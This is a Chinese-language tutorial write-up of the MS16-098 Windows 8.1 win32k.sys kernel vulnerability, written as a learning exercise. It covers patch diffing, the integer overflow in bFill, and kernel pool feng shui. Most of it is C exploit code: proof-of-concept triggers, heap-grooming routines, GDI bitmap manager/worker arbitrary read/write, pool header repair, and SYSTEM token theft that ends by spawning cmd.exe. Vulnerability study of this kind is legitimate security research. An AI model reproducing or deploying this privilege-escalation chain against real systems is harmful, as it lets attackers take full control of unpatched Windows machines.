Introduction
初步接触 windows 内核漏洞利用,我的想法是找一个带有分析的可利用的漏洞来学习,正好找到了MS16-098。
参考的文章:
这个洞是由整数溢出漏洞导致的池溢出 (pool overflow) 继而使用 GDI objects 技术获取到 system token 完成权限提升,其中池风水和使用 GDI objects 获得任意地址读写的技术是学习的重点。
开始之前我们需要做一些准备:
-
windows 8.1 x64 & vmware
-
Virtual KD http://virtualkd.sysprogs.org/ 用于辅助对虚拟机系统进行内核调试
-
windbg
Analysing the Patch and bug
从 Security Bulletin MS16-098 页面下载
对应的补丁安装程序,用 expand
命令提取其中的文件:
expand -F:* windows8.1-kb3177725-x64 .
expand -F:* Windows8.1-KB3177725-x64.cab .
这样获取到了 patch 之后的 win32k.sys 文件,我们用 ida 对旧版和 patch 版的 win32k.sys 进行分析。
根据文章中的信息,漏洞存在于 win32k!bFill
函数中,
如图中的代码, 当 eax 的值大于14则跳转执行
lea ecx, [rax+rax*2]
shl ecx, 4
这就相当于
if (eax > 14) {
size = (eax * 3) << 4;
}
若控制 eax 的值为 0x10000001
那么由于整数溢出表达式的运算结果为 0x30
, 被当做请求分配的内存大小参数,这样导致申请了一个较小的 pool
,
但是可以输入的大小远远超过申请的大小,从而产生了池溢出。
再来看看 patch 的版本,
增加了用于检测整数溢出的函数 UlongMult3
,该函数将参数中两个32位整数相乘,若结果大于 0xffffffff
则判断发生溢出,返回错误。
现在我们需要知道参数是否可控,如何触发漏洞?内核漏洞利用相当复杂,需要分为多个步骤,总的思路如下:
-
- 触发漏洞函数
-
- 控制内存分配大小
-
- 内核池风水
-
- 借助 bitmap Gdi objects
-
- 获取 system token 完成权限提升
Trigger the Vulnerable Function
直接从文章中可以知道到达 bFill
函数的调用链,感谢作者,如果让我自己分析,怕是啥都看不出来。作者使用推测和搜索大法,
由函数名 “bFill” 和函数参数中 EPATHOBJ
对象猜测函数的作用可能是填充路径,结合搜索找到了函数 BeginPath
。
bFill@<rax>(struct EPATHOBJ *@<rcx>, struct _RECTL *@<rdx>, unsigned int@<r8d>, void (__stdcall *)(struct _RECTL *, unsigned int, void *)@<r9>, void *)
用如下 poc 代码可以触发 bFill
函数:
#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
void main(int argc, char* argv[]) {
//Create a Point array
static POINT points[0x10001];
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
PolylineTo(hMemDC, points, 0x10001);
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
}
这里注意对 win32k.sys 要下硬件断点,到达断点后查看栈回溯
那么可以知道到达 bFill
函数的调用链为
EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()
在 EngFastFill
中还有一个分支语句分别会调用 bPaintPath
、bBrushPath
或者 bBrushPathN_8x8
,
这取决于 brush 对象是否和 hdc 有关联。在这之前还会检查一下 hdc 设备上下文的类型,总共有四种类型:
-
Printer
-
Display (默认情况下的类型)
-
Information
-
Memory (这种类型支持在 bitmap 对象上进行画图操作)
Controlling the Allocation Size
在之前对 patch 进行对比分析的时候我们已经知道了漏洞产生的具体情况了,主要是这步操作 lea ecx, [rax+rax*2]
,
它的操作数为32位,然后是对操作数乘以3,而 ecx 寄存器所能存储的最大值为 0xffffffff,那么在不发生溢出的情况下,
我们所能输入的极限就是:
0xffffffff / 3 = 0x55555555
只要输入大于这个值,就会触发整数溢出:
0x55555556 * 3 = 0x100000002
再加上左移4位,相当于除以0x10,那么我们理想的输入就是:
(0x5555556 * 3) = 0x10000002
0x10000002 « 4 = 0x20 (32bit register value)
现在修改我们的代码,调整 PATH 对象中 points 结构的数量,如下代码会触发分配 0x50 字节大小的空间:
void main(int argc, char* argv[]) {
//Create a Point array
static POINT points[0x3fe01];
points[0].x = 1;
points[0].y = 1;
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
for (int j = 0; j < 0x156; j++) {
PolylineTo(hMemDC, points, 0x3FE01);
}
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
}
为什么是 0x50 字节呢?我们来算一下:
循环调用 PolylineTo
函数 0x156 次的情况下 points 的数量为
0x3fe01 * 0x156 = 0x5555556
但是在调试过程中发现程序会额外添加一个,所以计算时操作数的的值为 0x5555557,结果则是
0x5555557 * 3 = 0x10000005
0x10000005 « 4 = 0x50 (32bit)
那么程序为 points 对象分配的空间大小为 0x50 字节,却可以复制 0x5555557 个 points 对象到分配的空间, 果然在运行 poc 代码后,系统出现了 BSOD!
Kernel Pool Feng Shui
接下来进入到比较难也很关键的步骤:内核池风水
池风水是一项用来确定内存布局的技术,在分配目标对象之前,先在内存中分配和释放一些内存,空出来一些空间, 让目标对象在下一次分配时被分配到指定的位置。现在的思路是通过池风水让目标对象于受控制对象相邻, 然后通过溢出覆盖到目标对象,更改关键数据结构获得任意地址读写。这也是开头提到的 Gdi objects, 这里选用 bitmap 对象,它的池标记为 Gh05,池类型为 Paged Session Pool, 可以用 SetBitmapBits/GetBitmapBits 函数读/写任意地址,具体可以参考 CoreLabs 的文章 Abusing GDI for ring0 exploit primitives 还有 KeenTeam 的 This Time Font hunt you down in 4 bytes
而 crash 的具体原因是 bFill 函数结束时分配的对象被释放掉,对象释放时会检查相邻对象的 pool header,但是溢出会把它破坏掉, 从而触发异常 BAD_POOL_HEADER 然后就 BSOD 了。
有一个办法可以防止检查时触发异常,那就是让目标对象分配在内存页的末尾。这样在对象被释放时就不会有 next chunk 从而正常释放。 要完成这样的池风水需要知道以下几个关键点:
-
内核池每页大小为 0x1000 字节,比这个还要大的分配请求会被分配到更大的内核池
-
任何请求大小超过 0x808 字节会被分配到内存页的起始处
-
连续的请求会从页的末尾分配
-
分配的对象通常会加上 0x10 字节大小的 pool header,比如请求 0x50 字节的内存,实际包含了 pool header 会分配 0x60 字节大小的内存。
现在我们来看看怎样完成内核池风水,以及它的运作原理,看一下如下利用代码:
void fungshuei() {
HBITMAP bmp;
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
bitmaps[k] = bmp;
}
HACCEL hAccel, hAccel2;
LPACCEL lpAccel;
// Initial setup for pool fengshui.
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
// Delete the allocated bitmaps to free space at beginning of pages
for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
for (int k = 0; k < 5000; k++) {
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
bitmaps[k] = bmp;
}
// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}
// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
for (int k = 2000; k < 4000; k++) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
}x3222222222222222
要清楚的看到分配/释放的流程,一图胜千言
我们一个一个函数来看,第一步是这样的:
HBITMAP bmp;
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
bitmaps[k] = bmp;
}
先分配了5000个大小为 0xf80 字节的 bitmap 对象,这样达到的效果是循环分配新的内存页面, 每个页面以 0xf80 字节大小的 bitmap 对象为开始,在页面末尾留下 0x80 大小的空间。 为了检查内存喷射是否有效,可以在 bFill 函数中调用 PALLOCMEM 函数后下断点, 然后用命令 `!poolused 0x8 Gh?5 来查看分配了多少个 bitmap 对象。
另外有关 bitmap 对象在内核池中的大小的计算在之前提到过 CoreLabs 有关使用 gdi 对象技术的文章中有详细说明,结合这篇文章 Abusing GDI objects: Bitmap object’s size in the kernel pool 大概知道是怎么算的,不过还有点没弄清楚,先不管了。 文章作者也提到 Windows Graphics Programming: Win32 GDI and DirectDraw 一书中有详细的计算方法,但是也可以用最直接的办法,不断的试错,尝试用不同的参数运行, 看看会分配多大的内存。
看下 CreateBitmap
函数的定义:
HBITMAP CreateBitmap(
int nWidth,
int nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID *lpBits
);
其中 nPlanes
和 nBitCount
参数大多数情况下都分别默认设置为 1 和 NULL,那这两个参数保持不变,
剩下的参数决定了 bitmap 对象在内存中的大小,我现在是 win8.1 的系统,在 poc 代码中添加如下代码,
运行 CreateBitmap(1670, 2, 1, 8, NULL);
试试:
static HBITMAP bitmaps[5000];
void fengshui() {
HBITMAP bmp;
bmp = CreateBitmap(1670, 2, 1, 8, NULL);
bitmaps[k] = bmp;
printf("bmp: %x\n", bmp);
}
先在虚拟机里用 windbg 打开 poc.exe 在创建完 bitmap 对象之后断下
根据打印出的 bitmap handle 在宿主机上用 windbg 查找 bitmap 对象在内存中的位置, bitmap handle 的最后两个字节实际上是 GdiSharedHandleTable 数组的索引,当 bitmap 被创建时会将对象的地址添加到这个数组中,可以在进程的 PEB 基址下找到这个数组。 通过句柄,我们可以知道它在表上的存放的地址:
addr = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)
发现确实和预料的一样,bitmap 对象大小为 0xf80 字节,现在用参数来算一下
nWidth = 1670
nHeight = 2
nBitCount = 8
(1670*2*8)/8 bits = 0xd0c
pool header 为 0x10 字节,0xd0c 对齐一下为 0xd08,那么得到这样一个公式:
SURFACE64 + STUFF = 0xf80 - 0x10 - 0xd08 = 0x268
换一组参数测试一下这个公式,把代码改成 CreateBitmap(820, 2, 8),计算一下这个的 bitmap 大小:
size = (820*2*8)/8 + 0x268 + 0x10 = 0x8e0
然后再 windbg 中查看
发现确实如我们所计算的那样。
然后是继续分配了 7000 次 accelerator table 对象,每个大小为 0x40 字节,每次分配两个也就是 0x80 字节大小, 这样就填补了每页内存页剩下的空间 (0xf80 + 0x80 = 0x1000)。
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
接着释放了之前分配的 bitmap 对象,这样内存页的开始处就空出来 0xf80 字节的空间。
// Delete the allocated bitmaps to free space at beginning of pages
for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}
然后分配了 5000 个大小为 0xbc0 字节的对象,这个大小非常关键,因为如果 bitmap 对象直接被放到受到攻击的对象旁边的话,
溢出不会覆盖到 bitmap 对象关键的成员变量(后面会详细讲)。此外,作者通过反复试验找到了 CreateEllipticRgn
函数分配的对象的大小于提供的函数参数之间的关系,我们就暂时知道这样的方式就行。
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
for (int k = 0; k < 5000; k++) {
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
池风水进行到这一步,内核中内存页的开始处有着 0xbc0 字节 Gh04 标记的对象,末尾有 0x80,剩下 0x3c0 字节是空闲的。 再分配 5000 个大小为 0x3c0 字节的 bitmap 对象填充每页内存页剩余的空间,这样对 bitmap 对象的溢出就受到我们的控制了。
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
bitmaps[k] = bmp;
}
下一步是把内存中所有 0x60 大小的先占满了,那么后面分配有溢出的对象时几乎肯定会落在我们的内存布局中。
void AllocateClipBoard(unsigned int size) {
BYTE *buffer;
buffer = malloc(size);
memset(buffer, 0x41, size);
buffer[size-1] = 0x00;
const size_t len = size;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), buffer, len);
GlobalUnlock(hMem);
OpenClipboard(wnd);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
GlobalFree(hMem);
}
// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}
这里要说明的是,在分配 ClipBoard 对象的函数中,如果忽略掉 OpenCliboard, CloseClipBboard, EmptyClipboard 直接调用 SetClipboardData 的话,被分配的对象永远不会释放掉,具体可以再实验下。
最后空出来一点缺口,释放掉内存页尾部 0x80 字节的对象。准确来说准备了 2000 个缺口,让目标对象被分配到这 2000 个中的其中一个位置。
最终的内存页布局如图:
在 windbg 中查看:
Abusing the Bitmap GDI objects
在开始这部分内容之前,建议没有了解这部分内容的同学可以先去看下前面提到过的 CoreLabs 的文章 Abusing GDI for ring0 exploit primitives ,有关这项技术的原理讲的非常详细。
内核中 bitmap 对象的开头部分是一个 GDI base object 结构。
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18
有关这个头部结构的介绍可以参考 ReactOS wiki, 在它后面的是 surface object。
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
其中 sizlBitmap、pvScan0、hdev 是我们主要关注的成员变量,sizlBitmap 存放 bitmap 的宽度和高度, pvScan0 是一个指向 bitmap 数据的指针(第一条扫描线), hdev 是指向设备句柄的指针。
我们主要的目标是通过溢出覆盖到 sizlBitmap 和 pvScan0,这样 SetBitmapBits/GetBitmapBits 函数就会对 pvScan0 指向的地址读写 sizlBitmap 长度的数据。如果能够控制溢出的数据,把 pvScan0 覆盖成我们指定的地址,那么就可以用如下方式达到任意地址写:
-
设置第一个 bitmap 对象的 pvScan0 为第二个 bitmap 对象 pvScan0 的地址。
-
把第一个 bitmap 对象当作一个管理器,把第二个 bitmap 对象的 pvScan0 设置成任何我们想要的地址。
-
第二个 bitmap 对象充当实际的操作者,对我们设定的地址进行读写操作。
在这个漏洞的场景中,溢出部分的数据并不完全受到我们控制,但是可以间接影响到覆盖部分的数据,流程如下:
-
通过溢出覆盖相邻的 bitmap 对象的 sizlBitmap 成员变量。
-
让可操作数据长度扩展了的 bitmap 对象覆盖另一个 bitmap 对象的 pvScan0。
-
利用第二个 bitmap 读写设定的地址。
现在我们来分析一下如何把数据覆盖到目标位置,看一下把 points 结构复制到池内存中的函数
addEdgeToGet
:
r11 寄存器和 r10 寄存器分别存放了当前 point.y [r9+4] 和前一个 point.y [r8+4],
如果当前 point.y 小于前一个 point.y 就会把目标缓冲区 rdx+0x28
地址处写成 0xffffffff
,
否则就写成 1。这里可以假设它是为了判断当前 point.y 是不是和前一个 point.y 保持同一个方向。
接着会检查前一个 point.y 是否小于 [r9+0xc] = 0x1f0,如果小于的话,当前 point 就会被复制到目标缓冲区, 如果没有,就跳过当前 point。这里还有一点是 point.y 的值会左移1位,如果原来赋值是 1,那么这里就是 0x10。
和之前的检查一样, 这里对 point.x 的处理也是让当前 point.x 减去前一个 point.x, 如果小于或等于的话,就会把目标缓冲区 [r15+0x24] 地址处赋值为 0x1。而 points 结构的大小为 0x30 字节,那么我们用 [rdx+0x28] 覆盖到 sizlBitmap 的同时,还会因为 [r15+0x24] 把 hdev 的值设置为1。
按照以上规则计算偏移后修改代码如下:
static POINT points[0x3fe01];
for (int l = 0; l < 0x3FE00; l++) {
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20; //0x14 < 0x1f
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
这里 points[2].y 设置成 0x14,那么在第二个检查中 y 的值为 0x14 « 1 = 0x140 就会小于 0x1f0, 然后会将当前 point 复制到目标缓冲区。
for (int j = 0; j < 0x156; j++) {
if (j > 0x1F && points[2].y != 0x5a1f) {
points[2].y = 0x5a1f;
}
if (!PolylineTo(hMemDC, points, 0x3FE01)) {
fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
}
}
这里主要到循环中有个判断当循环次数大于 0x1f 时就把 points[2].y 的值设置回来,让后面的 points 不再被复制到目标缓冲区,因为前面 0x20 次循环已经足够覆盖到下一个 bitmap 了。
我们用调试器更具体的看一下,先设置 bFill+0x38c
的断点,确定 palloc 分配的 0x60 大小 chunk 的地址。
然后再设置一个 AddEdgeToGET+0x142
位置处的断点,这个位置是每成功复制一次 points 对象,
目标缓冲区的地址 +0x30,开始下一次复制,可以看到 vulnerable object 的地址是
fffff901716d2fb0
,那么就是从 fb0 处开始复制,继续运行。
这里注意到 points 对象的第一个点的 x 和 y 均为 0,猜测默认第零点为原点, 然后开始对我们设置的第一个点进行检查,由于前一个点为 (0, 0),y = 0 小于 0x1f0, 第一个点会复制到缓冲区,目标缓冲区地址 +0x30。但是到了第二个点,points[1].y 或者 points[0].y 都大于 0x1f0,这个点会被跳过。接着到了第三个点,points[3].y = 0x140,它是小于 0x1f0 所以 points[3] 会被复制到目标缓冲区,再看下这段代码:
其实可以发现,在检查 y 是否小于 0x1f0 时,y 的值是前一个 points.y 和当前 points.y 中较小的那一个, 所以 points[3] 也会被复制到缓冲区。
由此可以知道第一次调用的 polylineto 函数使目标缓冲区往后增加了 0x90 的偏移,之后的 0x1f 次循环都会增加 2 * 0x30 的偏移。
0xfb0 + 0x90 + 2 * 0x30 * 0x1f = 0x1be0
但是看看 bitmap 对象在内存中的位置
bc0: pool header 0x10
bd0: base object 0x18
be8: ... 0x20
c08: sizlBitmap
还差一个 points,这时在调试器中查看内存发现 points 数组末尾还会检查一次 (0, 0), 那么 0x1be0 + 0x30 = 0x1c10 刚好可以覆盖到 sizlBitmap。
这样复制完成后 sizlBitmap 的成员属性就变成了 0xffffffff * 0x1,导致 buffer 的读写空间非常大,
那么把这个 bitmap 当作 manager,它的下一页的 bitmap object 当作 worker,通过 SetBitmapBits
修改 worker 的 pvScan0
属性来设置想读写的地址。可以调用 GetBitmapBits 函数来验证下是否复制成功了,
添加如下代码:
for (int k=0; k < 5000; k++) {
res = GetBitmapBits(bitmaps[k], 0x1000, bits);
if (res > 0x150) // if check succeeds we found our bitmap.
}
但是这里又出现问题了,如果直接添加 GetBitmapBits 代码运行会发生 crash,原因时 hdev
被覆盖成 0x1 了,正常情况下它的值为一个 Gdev device object 的指针或者为 NULL,
而 crash 发生的函数 PDEVOBJ::bAllowShareAccess
会从被覆盖的地址 0x0000000100000000
读取值,然后判断这个值如果为 1 的话就正常返回。
幸运的是这个地址可以在用户态直接申请分配,那么用 VirtualAlloc 申请这个地址把值设置成 1 就解决了问题。
VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(fake, 0x1, 0x100);
现在我们已经能够读写一大块内存了,下一步就可以任意地址读写了,不过我们还需要修复一下堆头结构, 前面我们写的 poc 程序每次运行完退出时会因为 Bad Pool Header 触发 crash,溢出破坏了堆头部结构。 先用 GetBitmapbits 读取下一页的 region 对象和 bitmap 对象的头部,写入到当前页的 region 对象和 bitmap 对象头部中,然后泄露相关内核地址,计算出当前页的 region 对象地址。
// Get Gh04 header to fix overflown header.
static BYTE Gh04[0x10];
fprintf(stdout, "\r\nGh04 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh04[i] = bits[0x1d8 + i];
fprintf(stdout, "%02x", bits[0x1d8 + i]);
}
// Get Gh05 header to fix overflown header.
static BYTE Gh05[0x10];
fprintf(stdout, "\r\nGh05 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh05[i] = bits[0xd98 + i];
fprintf(stdout, "%02x", bits[0xd98 + i]);
}
// Address of Overflown Gh04 object header
static BYTE addr1[0x8];
fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
for (int j = 0; j < 0x8; j++) {
addr1[j] = bits[0x218 + j];
fprintf(stdout, "%02x", bits[0x218 + j]);
}
// Get pvScan0 address of second Gh05 object
static BYTE pvscan[0x08];
fprintf(stdout, "\r\npvScan0:\r\n");
for (int i = 0; i < 0x8; i++) {
pvscan[i] = bits[0xdf8 + i];
fprintf(stdout, "%02x", bits[0xdf8 + i]);
}
看下当前 bitmap 对象的 pvScan0 指向的地址:
那么 Gh04 header 的偏移就是 0x1000 - 0xe30 = 0x1d0
,同理,Gh05 header 的偏移为
0x1d0 + 0xbc0 = 0xd90
。然后泄露内核地址的话,在 region 对象中有这样一个值:
这个值为这个值的地址本身,且在 region 对象 +0x30 偏移处,那么就可以计算出当前 Gh04 对象的地址,然后把这个地址最低位字节置零,倒数第二位减去 0x10 回到上一页的起始位置:
addr1[0x0] = 0;
int u = addr1[0x1];
u = u - 0x10;
addr1[1] = u;
同理也可以计算出 Gd05 对象的地址:
addr1[0] = 0xc0;
int y = addr1[1];
y = y + 0xb;
addr1[1] = y;
然后我们用 manager bitmap 对象调用 SetBitmapBits 修改 worker 的 pvScan0 为 region 对象的地址,再用worker 调用 SetBitmapBits 将正确的 Pool Header 写回去,Bitmap 对象同理。
void SetAddress(BYTE* address) {
for (int i = 0; i < sizeof(address); i++) {
bits[0xdf0 + i] = address[i];
}
SetBitmapBits(hManager, 0x1000, bits);
}
void WriteToAddress(BYTE* data) {
SetBitmapBits(hWorker, sizeof(data), data);
}
SetAddress(addr1);
WriteToAddress(Gh04);
Stealing SYSTEM Process Token
接下来就是最后一部分操作了,一些资料里已经详细说明了如何替换 System Token 实现提权的方法,
这里也简单描述一下。ntoskrnl
中的 PsInitialSystemProcess
存储了 SYSTEM
进程的 EPROCESS
地址,这里使用 EnumDeviceDrivers
来获取 ntoskrnl
的基址,另外也可以通过
NtQuerySystemInformation(11)
来获取 ntoskrnl
的基址。
// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
ULONG64 Bases[0x1000];
DWORD needed = 0;
ULONG64 krnlbase = 0;
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}
// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
// load ntoskrnl.exe
ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
// get address of exported PsInitialSystemProcess variable
ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
ULONG64 res = 0;
ULONG64 ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if (ntOsBase) {
ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
}
return res;
}
获取到 SYSTEM
进程的 EPROCESS
地址后就可以读取其中的 ActiveProcessLinks
属性地址,
它是一个存放所有进程 EPROCESS
地址的双向链表,通过遍历它来得到当前进程的 EPROCESS
地址。
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
DWORD UniqueProcessIdOffset;
DWORD TokenOffset;
} VersionSpecificConfig;
VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1
LONG64 PsGetCurrentProcess()
{
ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
ULONG64 res = 0;
while (TRUE) {
ULONG64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
// get pid
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
// if next same as last, we reached the end
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
break;
}
return res;
}
最后把 System 进程的 Token 替换到当前进程实现提权。
// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
ULONG64 SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
// write token to current process
ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress((BYTE *)&CurProccessAddr);
WriteToAddress((BYTE *)&SystemToken);
// Done and done. We're System :)
system("cmd.exe");
利用代码可以在 github 上找到。